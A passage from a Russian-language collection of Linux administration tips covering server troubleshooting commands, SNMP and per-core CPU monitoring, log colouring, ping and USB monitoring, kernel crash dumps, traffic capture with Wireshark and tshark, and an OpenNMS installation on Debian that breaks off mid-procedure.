разобраться как это можно почистить или реорганизовать. Процессор и память $ free -m $ uptime $ top $ htop Эти команды должны ответить на несколько вопросов:
  • Есть ли свободная память? Происходит ли своппинг на диск?
  • Насколько загружены процессоры? Сколько ядер доступно на сервере? Перегружены ли какие-то из них?
  • Что больше всего нагружает систему? Какое у системы значение средней нагрузки (load average)? Аппаратная часть $ lspci $ dmidecode $ ethtool Обычные, невиртуализированные сервера продолжают широко использоваться, и эти команды должны помочь:
  • Определить RAID-контроллер (есть ли у него батарея резервного питания?), процессор и количество доступных слотов памяти. Это может подсказать вам потенциальные причины проблемы и пути увеличения производительности.
  • Выяснить правильно ли настроена сетевая карта? Не работает ли она в режиме полудуплекса? На скорости 10MBps? Есть ли ошибки приема-передачи? +++ Производительность ввода-вывода $ iostat -kx 2 $ vmstat 2 10 $ mpstat 2 10 $ dstat --top-io --top-bio Очень полезные команды для анализа общей производительности системы хранения.
  • Проверяем свободное место: есть ли в системе полностью занятые файловые системы или диски?
  • Используется ли своп (si/so)?
  • Что занимает процессор: системные вызовы? пользовательские процессы? много ли времени крадется гипервизором (VM)?
  • Моя любимая команда - dstat. Какие процессы интенсивно используют ввод-вывод? Может быть MySQL грузит дисковую подсистему? Или это какой-то PHP-скрипт? Точки монтирования и файловые системы $ mount $ cat /etc/fstab $ vgs $ pvs $ lvs $ df -h $ lsof +D / /* будьте осторожны, не положите сервер */
  • Сколько файловых систем смонтировано?
  • Есть ли файловые системы, выделенные для конкретных сервисов? (MySQL например?)
  • Какие указаны опции монтирования: noatime? default? Есть ли какие-то файловые системы смонтированные в режиме только для чтения?
  • Есть ли свободное место на дисках?
  • Нет ли больших удаленных файлов, которые продолжают удерживаться каким-либо процессом?
  • Есть ли место для расширения раздела, если проблема в свободном пространстве? Ядро, прерывания и сеть $ sysctl -a | grep ... $ cat /proc/interrupts $ cat /proc/net/ip_conntrack /* может занять некоторое время на загруженных серверах */ $ netstat $ ss -s
  • Распределены ли прерывания равномерно по всем процессорам? Возможно одно из ядер перегружено из-за прерываний от сетевой карты, RAID-контроллера, ...?
  • Какое задано значение swappinness в системе? 60 подходит для персональных компьютеров, но не для серверов. Желательно, чтобы сервер никогда не использовал своп, иначе во время чтения/записи данных на диск, процессы вытесненные в своп окажутся заблокированными.
  • Достаточно ли велико значение conntrack_max для существующего трафика?
  • Как долго TCP-соединения могут находится в различных состояниях (TIME_WAIT, ...)?
  • netstat может быть немного медленным при выводе всех существующих соединений, тогда используйте ss -s, чтобы быстро получить краткую статистику. Посмотрите статью про настройку TCP в Linux, в ней есть полезная информация на эту тему. Системные журналы и сообщения ядра $ dmesg $ less /var/log/messages $ less /var/log/secure $ less /var/log/auth
  • Ищите любые сообщение об ошибках или предупреждения. Есть ли сообщения о слишком большом количестве соединений в conntrack?
  • Есть ли сообщения об аппаратных ошибках или ошибках файловой системы?
  • Коррелируется ли время между ошибками в журналах и предоставленной информацией о проблеме? Задания cron $ ls /etc/cron* + cat $ for user in $(cat /etc/passwd | cut -f1 -d:); do crontab -l -u $user; done
  • Есть ли задания, которые выполняются слишком часто?
  • Есть ли персональные конфигурационные файлы cron, спрятанные от постороннего взгляда?
  • Выполнялось ли какое-либо резервное копирование в то время, когда возникла проблема? Журнальные файлы приложений Здесь можно много что исследовать, но вряд ли у вас будет время, чтобы детально все просмотреть. Поэтому, сконцентрируйтесь на самом очевидном, например для LAMP-сервера:
  • Apache & Nginx; посмотрите журналы доступа и ошибок, ищите ошибки 5xx, возможные ошибки limit_zone.
  • MySQL; посмотрите есть ли ошибки в mysql.log, следы поврежденных таблиц, работающий процесс восстановления innodb. Посмотрите журнал медленных операций и определите есть ли проблемы с диском, индексами или запросами.
  • PHP-FPM; если включен журнал php-slow, покопайтесь в нем и попробуйте найти ошибки (php, mysql, memcache, ...). Если журнал выключен, активируйте его.
  • Varnish; проверьте отношение hit/miss в varnishlog и varnishstat. Не пропущено ли правило в конфигурации, в результате чего запросы конечных пользователей проходят до бекэнда, минуя varnish?
  • HA-Proxy; какой статус у бекэндов? Правильно ли работает проверка здоровья бекэндов? Не переполнена ли очередь запросов на фронтэнде или бекэндах? Заключение После этих первых пяти минут (плюс-минус десять), у вас должно будет сформироваться более полное понимание ситуации:
  • Что запущено.
  • Связана ли проблема с вводом-выводом/аппаратной частью/сетевой подсистемой или конфигурацией (плохой код, настройки ядра, ...).
  • Есть ли знакомые шаблоны: плохое использование индексов БД, слишком много процессов apache, и т.п. Вы даже могли уже найти непосредственную причину проблемы. Если нет, то вы находитесь в хорошей позиции для дальнейших поисков, зная, что все очевидное уже проверено. Оригинал: First 5 Minutes Troubleshooting A Server by Vincent Viallet, 6 March 2013. Translated by Ivan Pesin, July 2013
  •  
    ----* Мониторинг загрузки многоядерного сервера по каждому ядру в отдельности в Linux   Автор: fantom  [комментарии]
     
    Исходная задача: по SNMP загрузить параметры загруженности CPU с сервера по
    каждому ядру в отдельности (ОС Linux).
    
    
    Простое решение:
    
    Необходимые данные можно получить из файла /proc/stat
    Описание структуры файла было вскоре найдено здесь http://www.linuxhowtos.org/System/procstat.htm
    
    И так же был обнаружен простенький пример реализации (shell скрипт): http://colby.id.au/node/39 
    
    Осталось все это прикрутить к SNMP. У SNMP есть чудесная возможность - создать
    свой OID и прицепить к нему все что угодно :)
    
    1. Пишем скрипт, в простейшем варианте выглядящий примерно так:
    
       #!/bin/bash
    
       PREV_TOTAL0=0
       PREV_TOTAL1=0
       PREV_IDLE0=0
       PREV_IDLE1=0
    
       while true; do
          CPU0=(`cat /proc/stat | grep '^cpu0 '`) # Общая картинка по cpu0
          CPU1=(`cat /proc/stat | grep '^cpu1 '`) # Общая картинка по cpu1
          unset CPU0[0] # отрезаем первый столбец (cpu0)
          unset CPU1[0] # отрезаем первый столбец (cpu1)
          IDLE0=${CPU0[4]} # время простоя cpu0.
          IDLE1=${CPU1[4]} # время простоя cpu1.
    
          # Подсчитаем суммарное время по cpu0
          TOTAL0=0
          for VALUE0 in "${CPU0[@]}"; do
             let "TOTAL0=$TOTAL0+$VALUE0"
          done 
    
          # Подсчитаем суммарное время по cpu1
          TOTAL1=0
          for VALUE1 in "${CPU1[@]}"; do
             let "TOTAL1=$TOTAL1+$VALUE1"
          done
    
          # Подсчитаем дельту с момента последнего замера по CPU0. 
          let "DIFF_IDLE0=$IDLE0-$PREV_IDLE0"
          let "DIFF_TOTAL0=$TOTAL0-$PREV_TOTAL0"
    
          # Вычисляем процент использования CPU0
          let "DIFF_USAGE0=(1000*($DIFF_TOTAL0-$DIFF_IDLE0)/$DIFF_TOTAL0+5)/10"
    
          # Подсчитаем дельту с момента последнего замера по CPU1.
          let "DIFF_IDLE1=$IDLE1-$PREV_IDLE1"
          let "DIFF_TOTAL1=$TOTAL1-$PREV_TOTAL1"
    
          # Вычисляем процент использования CPU1
          let "DIFF_USAGE1=(1000*($DIFF_TOTAL1-$DIFF_IDLE1)/$DIFF_TOTAL1+5)/10"
    
          #Результаты пишем в файлик
          echo "$DIFF_USAGE0">/opt/cpu_load
          echo "$DIFF_USAGE1">>/opt/cpu_load
    
          # Запоминаем текущее состояние, понадобиться при следующем цикле
          PREV_TOTAL0="$TOTAL0"
          PREV_TOTAL1="$TOTAL1"
    
          PREV_IDLE0="$IDLE0"
          PREV_IDLE1="$IDLE1"
    
    
          #exit
          # Собственно пауза перед следующим замером...
          sleep 59
       done
    
    
    В файл конфигурации /etc/snmpd.conf добавляем строчку например такого вида
    
       exec .1.3.6.1.4.1.2021.54 cpu /bin/cat /opt/cpu_load
    
    Что нам это дает (после перезапуска/запуска snmpd):
    
       snmpwalk -v 2c -c <community> <server_name> 1.3.6.1.4.1.2021.54
    
       UCD-SNMP-MIB::ucdavis.54.1.1 = INTEGER: 1
       UCD-SNMP-MIB::ucdavis.54.2.1 = STRING: "cpu"
       UCD-SNMP-MIB::ucdavis.54.3.1 = STRING: "/bin/cat /opt/cpu_load"
       UCD-SNMP-MIB::ucdavis.54.100.1 = INTEGER: 0
       UCD-SNMP-MIB::ucdavis.54.101.1 = STRING: "1"
       UCD-SNMP-MIB::ucdavis.54.101.2 = STRING: "2"
    
    Собственно 
    
       UCD-SNMP-MIB::ucdavis.54.101.1 = STRING: "1 - загрузка CPU0
       UCD-SNMP-MIB::ucdavis.54.101.2 = STRING: "2" - загрузка CPU1
    
    
    Осталось добавить это в рисовалку и все.
    
     
    ----* Раскраска лога для увеличения его наглядности   [комментарии]
     
    Для наблюдения за логом в наглядном виде с подсветкой наиболее важных элементов
    или для раскрашивания файлов конфигурации или файлов с кодом удобно
    использовать утилиту ccze, которая присутствует в стандартных репозиториях.
    
    Раскрасим поступающий хвост лога:
    
       tail -f /var/log/syslog | ccze
    
    Просмотрим весь лог (опция -A использует вывод в ANSI-кодах, в не через
    ncurses; опция -R в less включает интерпретацию ANSI-кодов):
    
       ccze -A < /var/log/syslog | less -R
    
    Для вывода в формате HTML следует указать опцию "-h".
    Если в логе есть время в эпохальном виде, то его можно преобразовать в
    наглядное представление через опцию "-C".
    Для определения своего цвета для заданного ключевого слова можно использовать
    флаг "--color ключ=цвет".
    
    Примеры раскраски вывода утилит (в качестве аналога можно упомянуть утилиту acoc):
    
       df -hT | ccze -A
       ls -l | ccze -A
    
    Для наглядного наблюдения за несколькими логами можно использовать MultiTail
    (http://www.vanheusden.com/multitail/). Автором MultiTail  также подготовлено
    несколько полезных утилит:
    MySQLtail - слежение изменением содержимого заданной таблицы в MySQL;
    NagTail - наглядное отображение изменений в логе системы мониторинга Nagios;
    RSSTail - отображение обновления RSS-лент в стиле tail;
    
     
    ----* Скрипт для наглядного ping с ведением лога   Автор: Kins  [комментарии]
     
    Представленный скрипт может:
    * Отображать результат пинга
    * Отображать время пинга
    * Вести лог пингов
    * Визуализировать лог пингов
    * Подавать звуковой сигнал при отсутствии пинга
    
    Код скрипта  conky.sh:
    
       #!/bin/bash
    
       #$1 - name
       #$2 - adress
       #$3 - options (f: format result, n: show name, t: show time, d: show colored dot, s: play sound, l: logging)
       #$4 - width in symbol
       #$5 - fill symbol
       #$6 - sound file
       #$7 - packetsize
    
       if [ "$7" != "" ]
       then
        tmp=-s' '$7
       fi
       a=$(ping -c 1 $2 -W 1 $tmp)
       if [ "$a" = "" ]
       then
        r='e'
        t=&#42830;
       fi
    
       if [[ "$a" =~ [0-9]*% ]]; then tmp=$BASH_REMATCH; fi
       if [ "$tmp" = "0%" ]
       then
        r='y'
        if [[ "$a" =~ time=[0-9.]*.ms ]]; then t=$BASH_REMATCH; fi
        t=${t#time=}
        t=${t% ms}
       elif [ "$tmp" = "100%" ]
       then
        r='n'
        t=&#42830;
       fi
    
       vislog=''
       #функция визуализации и ведения лога
       function vis_log
       {
       # Проверка наличия файла.
       if [ ! -f "$2" ]
       then
        #echo "Файл "$2" не найден. Создаем..."
        > $2
       fi
       
       #сколько строк лога нужно визуализировать?
       tmp=''
       if [[ "$3" =~ n ]]; then tmp=$1' '; fi
       if [[ "$3" =~ t ]]; then tmp=$tmp' '$t; fi
       if [[ "$3" =~ d ]]; then tmp=$tmp' '$r; fi
       cnt=${#tmp}
       let cnt=$4-$cnt
       #считать из лога нужное количество строк
       tmp=$(tail -n $cnt $2)
       #парсим считанные строки
       sym=''
       oldsym=''
       for ((i=1; i <= cnt ; i++))
       do
        if [[ "$tmp" =~ [eyn] ]]; then sym=$BASH_REMATCH; fi
        tmp=${tmp#*d}
        if [ "$sym" != "$oldsym" ]
        then
         case "$sym" in
          y) vislog=$vislog'${color green}';;
          n) vislog=$vislog'${color red}';;
          e) vislog=$vislog'${color yellow}';;
         esac
        fi
        oldsym=$sym
        vislog=$vislog$5
       done
       
       #записали новый результат пинга в лог
       echo "$r $t"$(date +%x' % '%X)' d' >> $2
    
       #типа ротация лога оставляем только последние $4 строк
       tail -n $4 $2 > temp.txt
       rm $2
       mv temp.txt $2
       
       }
    
       #сыграем звук если надо
       if [[ "$3" =~ s ]]; then
        if [ "$r" != 'y' ]
        then
         play $6 -q &
        fi;
       fi
       
       #окончательное оформление для conky
       res=''
       if [[ "$3" =~ l ]]; then vis_log $1 $2 $3 $4 $5; fi
       if [[ "$3" =~ n ]]; then res=$1' '; fi
       if [[ "$3" =~ f ]]; then res=$res' '$vislog; fi
       if [[ "$3" =~ t ]]; then res=$res'${color} '$t; fi
       r=${r//y/'${color 00ff00}'&#11044;}
       r=${r//n/'${color ff0000}'&#11044;}
       r=${r//e/'${color ffff00}'&#11044;}
       if [[ "$3" =~ d ]]; then res=$res' '$r; fi
       echo $res
    
    В скрипт надо передать 7 параметров:
    
    1- Отображаемое имя того, что пингуем (может не совпадать с адресом и вообще
    это просто строка от которой работа скрипта не зависит)
    
    2- Пингуемый адрес (х.х.х.х либо example.com)
    
    3- Флаги настроек:
      f - форматировать вывод (без флага ведения лога бессмысленно)
      n - отображать имя
      t - отображать время пинга (ms)
      d - отображать жирную точку текущего результата
      s - проиграть звук при отсутствии пинга
      l - вести лог
    
    4- Общая ширина строки в символах для форматирования
    
    5- Символ которым будет заполняться пространство для форматированного вывода,
    также цветом этого символа будет отображаться лог
    
    6- Имя звукового файла (необязательный параметр нужен для флага s, почему то
    путь у меня не работал пришлось файл бросить в домашний каталог)
    
    7- Длинна пакета для пинга (совсем не обязательный параметр, но очень просили)
    
    Пример конфигурации conky:
    
       {execpi 10 /home/kinsoft/conky_ping5.sh Inet 8.8.8.8 fntdls 32 . drip.ogg}
    
    отображать имя, время пинга, лог, текущий результат; играть звук; вести лог;
    форматировать строку и делать ее шириной 32 знака.
    
     
    ----* Выявление нагружающих дисковую подсистему процессов в Linux   Автор: Yuriy Kulikov  [комментарии]
     
    В Centos 5.x нет нормальной поддержки iotop, без которого трудно понять, какой
    процесс больше всего грузит дисковую систему.
    Но можно использовать скрипт disktop.stp, написанный для подсистемы
    динамической трассировки SystemTap.
    
    Чтобы запустить disktop в CentOS нужно:
    Установить пакеты 
       kernel-debuginfo-`uname -r`
       kernel-debuginfo-common-`uname -r` 
    (скачать можно здесь http://debuginfo.centos.org/5/
    
    Установить пакет kernel-devel-`uname -r`
    
    Установить systemtap:
       yum install systemtap
    
    Запуcтить disktop:
       stap disktop.stp
    
    Пример работы:
    
       # stap disktop.stp
       Wed Nov 24 16:16:20 2010 , Average: 351Kb/sec, Read: 1680Kb, Write: 76Kb
    
       UID    PID     PPID          CMD     DEVICE    T        BYTES
       102    16196    29589        nginx     sda3    R       539535
        48    29429    26950        httpd     sda3    R       161992
        48    29427    26950        httpd     sda3    R       141730
        48    20089    26950        httpd     sda3    R       100256
        102    16196    29589       nginx     sda3    W        57253
    
     
    ----* Мониторинг активности USB-устройств   [комментарии]
     
    Начиная с Linux-ядра версии 2.6.11 в составе поставляется модуль usbmon,
    позволяющий осуществить полный мониторинг обмена данными с USB-устройствами.
    
    Загружаем модуль:
       modprobe usbmon
    
    Если не смонтирована debugfs, монтируем:
    
       mount| grep debugfs  
       mount -t debugfs none_debugs /sys/kernel/debug
    
    
    Для анализа USB-пересылок также можно использовать Java-приложение из состава пакета
    USBMon-0.4.tar.gz:
       
       wget http://people.redhat.com/zaitcev/linux/USBMon-0.4.tar.gz
       tar xzf USBMon-0.4.tar.gz
       cd USBMon
       vi Makefile # правим путь в переменной JAVAC, оставляем просто javac (ставится из пакета openjdk-6-jdk)
       make
       java USBMon
    
    Но удобнее, проще и нагляднее анализировать usbmon трафик в Wireshark, в
    котором достаточно выбрать интерфейс для сниффинга usbmon0 или usbmonN, где N
    номер USB-шины, которую можно определить, например, утилитой lsusb. Главное
    удобство Wireshark состоит в гибких возможностях фильтрации, например, можно
    отобразить только соответствующие определенным критериям пересылки.
    
    При наличии libpcap 1.0 для перехвата данных можно использовать любую
    поддерживающую данную библиотеку утилиту, включая tcpdump, начиная с версии 4.0:
    
       tcpdump -i usbmon0 -w usb.pcap
    
    указание опции "-w" обязательно, без нее будет выведена ошибка "tcpdump:
    unsupported data link type USB_LINUX". Наглядно отслеживать пересылки tcpdump
    еще не умеет, но сохраненный файл usb.pcap можно использовать в сторонних
    анализаторах, таких как wireshark.
    
    Сохранить дамп пересылок можно в текстовом виде, просто перенаправив вывод из
    сокета в директории /sys/kernel/debug/usb/usbmon:
    
       ls /sys/kernel/debug/usb/usbmon
    
       0s  1s  1u  2t  3s  3u  4t  5s  5u  6t  7s  7u
       0u  1t  2s  2u  3t  4s  4u  5t  6s  6u  7t
    
    где, 0* - сокет сбора данных о всех шинах. Буквы "s", "u" и "t" указывают на
    формат вывода, отличающийся детализацией.
    
       cat /sys/kernel/debug/usb/usbmon/0u > usbmon.out
    
     
    ----* Борьба с kernel panic в Linux-ядре 2.6.35 и выше   Автор: Аноним  [комментарии]
     
    Начиная с версии 2.6.35 в Linux-ядре появилась полезная функция "ramoops",
    позволяющая в случае краха сохранять информационный дамп состояния ядра в
    памяти для последующего анализа. Данные сохраняются только при мягкой
    перезагрузке, без очистки прошлого состояния памяти. Вкомпилировать данную
    функцию в ядро или загружать модулем "ramoops" - без разницы.
    
    Единственная хитрость - сначала нужно зарезервировать память в ядре.
    Сделать это можно указав ядру параметр memmap=256K@0xfc0000
    (резервируем 256К перед ядром).
    
    Если ramoops в ядре, то добавляем параметры 
    
       ramoops.mem_address=0xfc0000 и
       ramoops.mem_size=0x40000
    
    параметр ramoops.dump_oops=1 является умолчанием, так что его можно не указывать.
    
    Для модуля "ramoops" эти параметры нужно указать при загрузке.
    
    Теперь чтобы ядро не осталось в мертвом виде, не забываем сделать
    
       echo 10 >/proc/sys/kernel/panic
    
    и (если нужно, а иногда полезно)
    
       echo 1 >/proc/sys/kernel/panic_on_oops
    
    Теперь проверяем при помощи crash-а через Alt-SysRq-C.
    
    После перезагрузки, текст crash-дампа будет лежать в памяти, начиная с адреса 0xfc0000.
    
    Достать его оттуда можно при помощи
    
       dd if=/dev/mem bs=256k skip=63 count=1 >>crash.txt
    
    либо при помощи простенькой программы, которая открывает /dev/mem и с
    указанного смещения читает данные.
    
    Для сохранения дампа на диск следует использовать похожую функцию mtdoops.
    
    Дополнение: Для работы в ядре необходимо выключить опцию CONFIG_STRICT_DEVMEM 
    
     
    ----* Мониторинг работы устройства digium TDM   Автор: bigbugkik  [комментарии]
     
    Пример решения задачи с отслеживанием отключения (зависания) карт серии digium TDM. 
    
    Перед отключением карты в логе /var/log/messages появлялись сообщения
    
       "ACPI: PCI interrupt for device 0000:05:06.0 disabled"
       "ERROR: Unable to service card within"
       "Fatal Bus Error detected",
    
    Скрипт для перезапуска VoIP подсистемы в случае сбоя (в тексте "TDM800P"
    необходимо поменять на название своей карты):
    
       #!/bin/sh
       renice +19 -p $$ >/dev/null 2>&1
       # проверка отключения устройства digium
       MSG="/var/log/messages"
       LAST_DISB=`grep "ERROR: Unable to service card within" $MSG | awk '{ print $2,$3 };' | tail -n1 | sed -e "s/\:/ /g"`
       LAST_ENBL=`grep "Found a Wildcard TDM: Wildcard TDM800P" $MSG |  awk '{ print $2,$3 };' | tail -n1 | sed -e "s/\:/ /g"`
    
       for d in $LAST_DISB ; do
           e=`echo $LAST_ENBL | awk '{ print $1};'`
           if [  "$d" -gt "$e" ] ; then
      	 /bin/logger -p local0.notice -t TDM800P-monitor "restart asterisk"
             # грамотнее выгружать модуль zaptel а не перезапускать весь астериск
    
             renice -15 -p $$ >/dev/null 2>&1
     	 /etc/init.d/asterisk stop
             renice 0 -p $$ >/dev/null 2>&1
             /etc/init.d/zaptel restart
    	 /etc/init.d/asterisk start
    	 exit 0;
           elif [  "$d" -eq "$e" ] ; then
        
             LAST_ENBL=`echo $LAST_ENBL| sed -e "s/^$e//"`
    	 continue;
           else
    	 exit 0;
           fi
       done
    
    
    Помещаем в cron:
    
       */15 * * * * root /etc/opt/asterisk/TDM800P-monitor.sh > /dev/null 2>&1
    
     
    ----* Наблюдение за трафиком на удаленном хосте через GUI-интерфейс Wireshark (доп. ссылка 1)   [комментарии]
     
    Для наблюдения за трафиком, проходящим через сетевой интерфейс удаленной машины
    192.168.1.2 в bash можно воспользоваться следующей конструкцией:
    
       wireshark -k -i <(ssh -l root 192.168.1.2 tshark -w - not tcp port 22)
    
    Конструкция "not tcp port 22" необходима для запрещения перехвата трафика
    передаваемого в wireshark по ssh.
    
    В других shell:
    
       mkfifo /tmp/pipe
       ssh user@192.168.1.2 "tshark -w - not port 22" > /tmp/pipe
       wireshark -k -i /tmp/pipe
    
    Если перехват в реальном времени не требуется, можно записать на удаленной машине дамп в файл:
    
       tshark -w capture.cap 
    
    а потом на локальном машине выполнить операцию анализа:
    
      wireshark -k -i capture.cap 
    
     
    ----* Организация приема SNMP trap’ов и их отправки на коммутаторах DLink (доп. ссылка 1) (доп. ссылка 2)   Автор: Andrey Sergienko  [комментарии]
     
    В рамках поставленной задачи (узнавать о появлении новых MAC-адресов на портах
    коммутаторов DLink) понадобилось организовать настройку SNMP-trap'ов на
    коммутационном оборудовании с последующим приемом их на сервере и дальнейшей
    обработкой в зависимости от пришедшего события.
    
    Для начала надо установить и настроить демон, который будет принимать трапы от
    оборудования и при нужном MIB вызывать наш обработчик. Установка net-snmp -
    тема отдельная, выполняется из пактов или портов, и особых трудностей не вызывает.
    
    Собственно приемом трапов занимается snmptrapd. Для обработки заданного трапа
    пишем в snmptrapd.conf:
    
        traphandle 1.3.6.1.4.1.171.11.63.6.2.20.0.2 /scripts/trap.php
    
    Теперь после рестарта демона snmptrapd, он начнет принимать приходящие трапы и
    при наличии трапа с заданным MIB (1.3.6.1.4.1.171.11.63.6.2.20.0.2 - в нашем
    случае), будет вызывать наш обработчик, который уже будет совершать необходимые
    нам действия.
    Обработчик SNMP-трапов
    
    Принимать SNMP trap-ы на самом деле достаточно просто. Вот пример простого
    обработчика SNMP-трапов на PHP:
    
          #!/usr/bin/php -q
          <?php
          $message = "";
          $fd = fopen("php://stdin", "r");
          while (!feof($fd)) $message .= fread($fd, 1024);
          ?>
    
    Все что делает этот скрипт - получает в переменную $message текст, который
    передается демоном snmptrapd. Текст приходит разделенный знаками конца строки.
    Первая строка - это всегда имя хоста (который прислал трап), вторая - IP-адрес
    этого хоста, третья - его uptime, четвертая - MIB пришедшего трапа. Остальные
    строки в сообщении - это детальная информация касательно пришедшего трапа, если
    она предусмотрена.
    
    
    Для отправки Trap-ов на коммутаторе исполняем такие команды:
    
        create snmp community trap_com view CommunityView read_only
        create snmp host x.x.x.x v2c trap_com
    
    Где х.х.х.х - IP-адрес сервера, котоырй будет принимать SNMP traps.
    
    Далее надо включить опцию дабы коммутатор отсылал трап при появлении на порту
    нового мака. Делается это через SNMP
    
        snmpset -v2c -c write_commenity switch_ip 1.3.6.1.4.1.171.11.63.6.2.1.2.19.0 i 3
    
    Выключить эту опцию можно так
    
        snmpset -v2c -c write_commenity switch_ip 1.3.6.1.4.1.171.11.63.6.2.1.2.19.0 i 2
    
    Узнать текущее состояние опции можно так
    
        snmpwalk -v2c -c read_commenity switch_ip 1.3.6.1.4.1.171.11.63.6.2.1.2.19
    
    
    Вся информация справедлива для коммутаторов 3028. Для других моделей MIB-ы
    могут сильно отличаться - к сожалению, DLink любит менять их от серии к серии.
    Надо заметить, что опция отправки трапа при появлении нового мака на порту
    доступна далеко не на всех моделях DLink-овых коммутаторов - например, 3010
    такой возможности не поддерживает.
    
     
    ----* Использование протокола CDP (Cisco Discovery Protocol) в Linux (доп. ссылка 1)   Автор: shadow_alone  [комментарии]
     
    Проект LLDP (http://trac.luffy.cx/lldpd/) позволяет задействовать на
    Linux-серверах протокол CDP (Cisco Discovery Protocol), позволяющий на Cisco
    посмотреть соседей с включенной CDP-командой "sh cdp nei". Команда выведет
    оборудование которое подключено, на каком порту и т.д., более подробно для
    заданного устройства параметры можно посмотреть командой "sh cdp ent Device_ID".
    
    Ниже приведен процесс настройки CDP для CentOS 5.4. Для Debian-подобных
    дистрибутивов принцип примерно тот же, за исключением особенностей сборки и
    расположения файлов.
    
    Загружаем пакет src.rpm:
    
       wget http://www.luffy.cx/lldpd/lldpd-0.4.0-1.fc10.src.rpm
    
    Установим его:
    
       rpm -Uhv lldpd-0.4.0-1.fc10.src.rpm
    
    Появится файл спецификаций /usr/src/redhat/SPECS/lldpd.spec, на основе которого
    выполним сборку пакета:
    
       rpmbuild -bb /usr/src/redhat/SPECS/lldpd.spec
    
    Устанавливаем вновь собранный пакет:
    
       rpm -Uhv /usr/src/redhat/RPMS/i386/lldpd-0.4.0-1.i386.rpm
    
    Настраиваем опции запуска демона, отредактировав файл /etc/sysconfig/lldpd. Правим:
    
       OPTIONS="-v -c";
    
    где, 
    "-v" - включаем поддержку vlan если они у Вас есть на машине с Linux
    "-c" - включаем протокол CDP
    более подробную информацию можно посмотреть в "man lldpd"
    
    Запускаем демон:
    
       /etc/init.d/lldpd start
    
    После запуска, в файле /var/log/messages мы увидим приблизительно такие строки:
    
       lldpd[30206]: lldpd_decode: switching to CDPv2 on port eth1
       lldpd[30206]: lldpd_decode: switching to CDPv2 on port eth0
    
    всё в порядке, демон запустился.
    
    Чтоб все работало, на оборудовании с другой стороны, на порту, должен быть
    включен CDP, то есть не должно стоять "no cdp enable" на интерфейсе.
    
    Собственно, осталось только проверить как все работает и получить информацию.
    
       lldpctl
    
    получаем:
    
       LLDP neighbors
    
       Interface: eth0
        ChassisID: sw-b-48 (local)
        SysName:   sw-b-48
        SysDescr:
         cisco WS-C2960-48TT-L running on
         Cisco IOS Software, C2960 Software (C2960-LANBASE-M)
         Copyright (c) 1986-2007 by Cisco Systems, Inc.
         Compiled Thu 19-Jul-07 20:06 by nachen
        MgmtIP:    172.16.25.48
        Caps:      Bridge(E)
        PortID:    FastEthernet0/4 (ifName)
        PortDescr: FastEthernet0/4
       
    Видим , что на другой стороне у нас коммутатор C2960, версию IOS, порт
    коммутатора, к которому подключена машина с Linux.
    
    Для остроты ощущений, посмотрим вывод на cisco, у нас там появилось:
    
       my.linux.machine
       Fas 0/4           92             R       Linux     eth0
    
    То есть, видим, что у нас на порту fa0/4 подключена машина с Linux, сетевое имя
    машины, и её сетевая карта eth0.
    
    Стоит отметить еще утилиту cdpr, но с её помощью можно только получать
    информацию по CDP, а не обмениваться ей, для Red Hat-подобных дистрибутивов она
    есть в репозитории rpmforge.
    
     
    ----* Tshark для мониторинга запросов http (доп. ссылка 1)   Автор: CHAPPAY  [комментарии]
     
    Tshark из комплекта сниффера Wireshark (http://www.wireshark.org/) позволяет
    наглядно проследить запросы к http-серверу.
    
    Пример для интерфейса eth0:
    
       tshark -npi eth0 -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src -e ip.dst \
          -e http.request.method -e http.host -e http.request.uri 
    
    За одним можно автоматически найти имя интерфейса в Linux и удалить временные
    файлы, которые программа обычно забывает удалять.
    
    Для Linux:
    
       tshark -npi `netstat -rn | grep "^0.0.0.0" | awk '{ print $8 }'` \
          -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src \
          -e ip.dst -e http.request.method -e http.host -e http.request.uri
        rm -f /tmp/ether*
    
    Для FreeBSD:
    
       tshark -npi `netstat -rn | grep "default" | awk '{ print $6 }'` \
          -f 'tcp and dst port 80' -R "http.request.method" -T fields -e ip.src \
          -e ip.dst -e http.request.method -e http.host -e http.request.uri
       rm -f /tmp/ether*
    
    
    Для уменьшения нагрузки можно ограничить выборку пакетами небольшой длины,
    добавив "and less 600", например, "tcp and dst port 80 and less 600".
    
    Другие варианты:
    
    1. утилита urlsnarf из состава пакета dsniff. 
    Также можно отметить и другие похожие утилиты из данного пакета: filesnarf,
    mailsnarf, msgsnarf, webspy, позволяющие перехватывать почтовые сообщения,
    передаваемые файлы и т.п.
    
       urlsnarf -i eth0
       urlsnarf -i eth1 -n .\* tcp port 80 and less 600
    
    2. justniffer (http://justniffer.sourceforge.net/) - выводит перехваченные
    HTTP-пакеты в формате стандартного лога Apache:
    
       justniffer -i eth0
    
    Позволяет оценивать время выполнения запроса:
    
       justniffer -i eth0 -a " %response.time" 
    
    Выводить полный дамп HTTP-заголовков:
    
       justniffer -i eth0 -r 
    
    Самостоятельно определять формат вывода:
    
       justniffer -i eth0 -l " %request.timestamp %source.ip %dest.ip %request.header.host %request.url" 
    
     
    ----* Установка OpenNMS в Debian Lenny (доп. ссылка 1)   Автор: Dennis Kucherskiy  [комментарии]
     
    Задача: найти и установить бесплатный аналог HP OpenView. Из всего, что удалось
    мне найти, максимально подошёл OpenNMS. Устанавливать буду на сервер с
    установленным Debian Lenny.
    
    1. Устанавливаем SUN JDK 1.6
          aptitude install sun-java6-jdk
    
    2. Добавляем в /etc/apt/sources.list
          echo 'deb http://debian.opennms.org stable main' > /etc/apt/sources.list.d/opennms.list
          echo 'deb-src http://debian.opennms.org stable main' >> /etc/apt/sources.list.d/opennms.list
    
    3. Импортируем PGP-ключ проекта OpenNMS
          wget -O - http://debian.opennms.org/OPENNMS-GPG-KEY | apt-key add -
    
    4. Устанавливаем пакеты OpenNMS
          apt-get update ; apt-get install opennms
    
    5. Настройка PostgreSQL
    Редактрируем файл /etc/postgresql/8.3/main/pg_hba.conf. Заменяем строки:
    
          local   all         all                                         ident sameuser
          host    all         all         127.0.0.1/32          md5
          host    all         all         ::1/128                   md5
    
    на
    
          local   all         all trust
          host    all         all         127.0.0.1/32          trust
          host    all         all         ::1/128                   trust
    
    Редактируем файл /etc/postgresql/8.3/main/postgresql.conf. Необходимо раскомментировать строку:
          listen_addresses = 'localhost'          # what IP address(es) to listen on;
    
    Перезапускаем PostgreSQL
          /etc/init.d/postgresql-8.3 restart
    
    6. Создаём БД для OpenNMS
          sudo -u postgres createdb -U postgres -E UNICODE opennms
    
    7. Устанавливаем OpenNMS
          export OPENNMS_HOME=/usr/share/opennms ; /usr/share/opennms/bin/install -dis
    
    8. Запускаем OpenNMS
